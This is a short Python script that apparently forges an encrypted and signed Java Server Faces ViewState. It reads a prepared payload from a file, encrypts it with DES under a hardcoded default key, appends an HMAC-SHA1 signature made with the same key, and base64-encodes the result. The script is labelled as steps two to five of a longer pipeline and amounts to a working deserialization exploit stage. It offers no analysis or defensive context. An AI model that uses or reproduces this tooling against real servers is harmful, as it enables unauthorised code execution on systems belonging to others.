from Crypto.Cipher import DES
import base64
from hashlib import sha1
import hmac


def pad(s): # per standard PKCS#5 is padding to blocksize 8, PKCS#7 is for any block size 1 to 255
    return s + (block_size - len(s) % block_size) * chr(block_size - len(s) % block_size)

block_size = DES.block_size
key = "JsF9876-"
#SnNGOTg3Ni0=


######################

f=open("out-pay.txt", "r")
viewstate = f.read()
f.close()

print ("#" * 150)
print (" 2 . Decoded viewstate " + viewstate + "\n\n\n\n")


obj = DES.new(key, DES.MODE_ECB)
encrypted_viewstate = obj.encrypt(pad(viewstate))
print ("#" * 150)
print (" 3 . Encrypted viewstate " + encrypted_viewstate + "\n\n\n\n")


hmac_obj  = hmac.new(key,encrypted_viewstate,sha1)
digested_hmac =  hmac_obj.digest()
print ("#" * 150)
print (" 4 . digested_hmac " + digested_hmac + "\n\n\n\n")


final_payload = base64.b64encode(encrypted_viewstate+digested_hmac)

print ("#" * 150)
print (" 5 . final_payload \n\n\n\n" + final_payload + "\n\n\n\n")

f= open("final_enc.txt","w")
f.write (final_payload)
f.close()